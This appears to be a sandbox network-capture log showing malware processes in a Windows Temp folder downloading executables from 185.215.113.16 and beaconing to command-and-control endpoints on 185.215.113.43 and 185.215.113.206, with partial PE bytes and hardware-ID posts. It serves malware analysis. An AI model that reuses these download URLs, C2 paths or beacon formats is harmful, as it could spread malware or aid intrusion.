Nov 24, 2024 10:25:33.348084927 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:33 GMT Content-Type: application/octet-stream Content-Length: 2833920 Last-Modified: Sun, 24 Nov 2024 09:23:19 GMT Connection: keep-alive ETag: "6742f087-2b3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 1f e1 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@xnvlzrcj**:@qpgaermy ++@.taggant@+"+@
Nov 24, 2024 10:25:33.348103046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:33.348114967 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:33.348176003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:33.348187923 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:33.348201036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:33.348222017 CET	776	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:33.348234892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:33.348239899 CET	1236	IN	Data Raw: 81 a7 8c f8 5d c7 6b 9d a7 40 c8 ef 70 37 9d 2c 5b 49 b5 60 6c b7 7d 58 c2 2b 71 66 b2 61 68 84 d4 31 b9 00 25 fd f0 46 ac cb 72 6a 25 3c 6b f0 28 89 6b 7b f2 af 4d 1f 00 29 87 38 3b 6f 85 be 40 32 eb 72 bf 78 dd 7e 70 7c 73 8c ec a8 e5 e1 e8 3f Data Ascii: ]k@p7,[I`l}X+qfah1%Frj%<k(k{M)8;o@2rx~p\|s?4*Dt/$W5!ak$L 5!_&i_aq)"(xSoye'Dm6hA_$P$&ib>!'{nk;\|:&6e^wmFn<LwNj>5Kd,f$+4`(nS#ox+BZo@znl[c
Nov 24, 2024 10:25:33.348249912 CET	1236	IN	Data Raw: 76 61 e0 2b af e2 a6 0e 40 44 db fe da 80 85 e4 e8 53 70 ed 45 75 64 d0 7b c0 a5 ac e6 d3 e5 e1 26 4a b0 7d 2d 68 6f c1 a1 42 78 c3 32 55 77 6d 7e 0b 83 9d 65 80 de 86 7f 11 79 b1 8c ce 9c 04 24 a0 8c c6 8d 84 58 4a 19 8c d8 bd 87 9a d7 92 81 81 Data Ascii: va+@DSpEud{&J}-hoBx2Uwm~ey$XJ7saLb&b`!<:qSupc.cC{\|j\|(}.XyRqw^, dN5U}aMf'[/bT+4{$#\|&
Nov 24, 2024 10:25:33.467767954 CET	1236	IN	Data Raw: 91 49 8a 9d 38 18 8d ff 41 6d 60 0d 51 85 09 b9 79 aa 66 a3 de 4a 8e 29 e1 49 3b f5 88 ea 29 bc 32 b3 6b b0 8e 43 b5 73 b2 80 3e 60 14 6c c8 fe 59 51 58 c9 49 2b 6a 67 6d 53 25 8d 26 88 fa 54 0b 5b 75 28 e1 8f 84 83 bc b8 ca 93 59 cb 86 5c 38 25 Data Ascii: I8Am`QyfJ)I;)2kCs>`lYQXI+jgmS%&T[u(Y\8%/35^JmH!gVmo7e1';L`SXF=_Sp-e1o<tF6gsu?c$z8=bnp@W9aeyHC0x60qhMTH9*(2s5Hff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50144	185.215.113.16	80	3172	C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:34.230792046 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 24, 2024 10:25:35.627084970 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:35 GMT Content-Type: application/octet-stream Content-Length: 1949184 Last-Modified: Sun, 24 Nov 2024 09:24:50 GMT Connection: keep-alive ETag: "6742f0e2-1dbe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 30 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0M@`M@WkDM@M @.rsrcD@.idata @ +@kzpygenap2@ngkwkgwe M@.taggant00M"@
Nov 24, 2024 10:25:35.627120018 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:35.627130985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:35.627199888 CET	572	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:35.627208948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: pyBz4+<s;=~F7.+jHJ;7;qG1$vyTMniLIJ+\{pm-80,+xgxn0ypzn$I3i*6.4uyta)
Nov 24, 2024 10:25:35.627219915 CET	1236	IN	Data Raw: 13 4a 7b 69 25 dc 1c 3e 0b ae 8b b4 32 2a 06 ad 3a dd 84 8c 1b 0f 55 15 56 37 b8 4d 19 e4 8c 0c 05 fb 69 d4 b6 fd 2c 2a 44 1c 5b 6d 01 b7 d0 49 6e 4e 07 4b c9 d4 69 c5 d7 e3 98 24 75 cf 44 94 49 d7 b8 95 05 4d 4f cb fa bd 7c a1 69 db 2d 2b 89 af Data Ascii: J{i%>2:UV7Mi,D[mInNKi$uDIMO\|i-+_2{02j%SjhLJ!,$i7i{%1{j7+IDZi={+io<%>{.4rL%bt$D9{$?ZT@7DJ\|qutOzRw
Nov 24, 2024 10:25:35.627346992 CET	1236	IN	Data Raw: 49 d6 21 7d 8b 19 63 69 94 ad d8 1b 31 76 07 7d 77 a3 a4 69 8a 2e 5b b3 9a bb 0f 56 25 97 69 9b fd 17 05 8d 70 1a 90 c6 46 af 76 08 c6 0f 9f f1 75 aa 24 3b 26 f7 c2 f8 74 bd 5c b1 ee 38 83 c0 37 03 f3 29 1c 3a cc 04 b4 2f c4 f5 09 1a da 89 a7 a8 Data Ascii: I!}ci1v}wi.[V%ipFvu$;&t\87):/$M3Z>Y1C{n?79GHos\|:B4ii9JtK\{%q_u2{+4LKL,._.CQSt/7Of';s\*)hkZa63Xo'If8R
Nov 24, 2024 10:25:35.627357006 CET	1236	IN	Data Raw: a7 ce 81 d9 36 bb a5 11 29 f4 94 e6 1d 41 09 0d 34 dc 16 24 88 b9 60 19 65 15 99 a1 06 e7 f4 f6 c9 79 cf 69 7e 17 ba 19 ae eb 2a 86 13 cb 5c 3a 5f be f4 4f 63 5f a9 c4 5f 31 b4 d5 57 fc db 7b e9 4b 29 38 cd ab 46 91 81 1d dc 71 3b 51 e4 39 ef 9f Data Ascii: 6)A4$`eyi~\:_Oc__1W{K)8Fq;Q9E=I_@GhL73+)'M*qGkbM{4Nu~}YU0)3EvQ9r[.H5=bq5f6LHn4d4Q\!8O
Nov 24, 2024 10:25:35.627367020 CET	328	IN	Data Raw: 2a 7c 92 78 3b 0a 9d 0c 7c 8c 15 82 bb 04 fb 41 78 ae 05 99 9a d0 db da fe 19 81 00 e2 ad 72 30 09 e1 8b 0d 0d 32 67 f0 fb 8f 9d 4b d0 3a 21 8e c4 0b 5c ea db bd 30 06 00 dc 01 4b 82 6f 26 96 28 f9 9c 26 4f 32 36 cb 4b ed a4 91 52 7c c4 0c 8a bf Data Ascii: *\|x;\|Axr02gK:!\0Ko&(&O26KR\|ZL5reX&8f<]J2X }I>dz0A8grA}Q9\S[Tz/K&%_ah pGtv9rL0=ULD:%:udIX83~?6&s?Y/_
Nov 24, 2024 10:25:35.627377033 CET	1236	IN	Data Raw: 31 33 32 5a a1 81 93 57 c3 99 f7 b8 a8 72 92 24 21 ae 01 2c e5 63 9c 56 f3 14 1e 84 44 31 db 56 51 5d 75 41 89 50 59 ad 4e 13 07 2a 9c eb 98 b9 46 5d 84 ec 8d dd fe b1 16 38 b0 5a 1b 0b 43 48 4a 2e 98 6c cc 5d 8c b2 4b d7 8d 88 6c 7a e0 b9 0a 53 Data Ascii: 132ZWr$!,cVD1VQ]uAPYN*F]8ZCHJ.l]KlzS{iEY6ijt'o%;kl8('"JkuL'tZEAy2j!2&H#7$0ciu<b7uyT;r)> k-nVsgU<BB'
Nov 24, 2024 10:25:35.752094984 CET	1236	IN	Data Raw: 19 db 5a 8b d4 f0 6a 8e 49 be df 8e 7a 12 59 8d 6e f8 1b c3 32 92 14 18 b5 91 8f 01 33 84 86 02 0a 32 c1 bc fc 55 97 4a ac 6c 5d 90 50 2f b0 45 32 92 6d 0b 8e 9e 1e ff ac 8b f3 b0 58 de 75 67 97 0f c7 a7 7d 17 ed b2 fe 48 0a 12 fd df d9 a4 9e bf Data Ascii: ZjIzYn232UJl]P/E2mXug}HmHCoE(Q*mmue~'Aob1 oN\|3?j7}YH6,Z%D6L:0\20KNQ$;9`%"XdlI_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50145	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:34.958134890 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:25:36.401765108 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50151	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:38.417572021 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:25:39.801610947 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50155	185.215.113.206	80	3172	C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:39.890017986 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIJJDGDHDGDAKFIECFI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 2d 2d 0d 0a Data Ascii: ------EHIJJDGDHDGDAKFIECFIContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------EHIJJDGDHDGDAKFIECFIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EHIJJDGDHDGDAKFIECFI--
Nov 24, 2024 10:25:41.782370090 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50157	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:41.442867994 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 10:25:42.793195009 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50161	185.215.113.43	80	764	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:44.544701099 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 10:25:45.967423916 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50163	185.215.113.206	80	7504	C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:45.587774992 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 10:25:47.026249886 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 10:25:47.030317068 CET	411	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKEGDGCGDAKEBFIJECG Host: 185.215.113.206 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 46 31 37 34 37 34 36 37 41 42 36 39 31 36 31 30 39 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 47 2d 2d 0d 0a Data Ascii: ------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="hwid"0EF1747467AB69161091------AKKEGDGCGDAKEBFIJECGContent-Disposition: form-data; name="build"mars------AKKEGDGCGDAKEBFIJECG--
Nov 24, 2024 10:25:47.493182898 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:25:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	50166	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 10:25:47.692090034 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 24, 2024 10:25:49.079950094 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 09:25:48 GMT Content-Type: application/octet-stream Content-Length: 2833920 Last-Modified: Sun, 24 Nov 2024 09:23:19 GMT Connection: keep-alive ETag: "6742f087-2b3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 1f e1 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@xnvlzrcj**:@qpgaermy ++@.taggant@+"+@
Nov 24, 2024 10:25:49.079989910 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:49.080005884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:49.080084085 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 10:25:49.080100060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
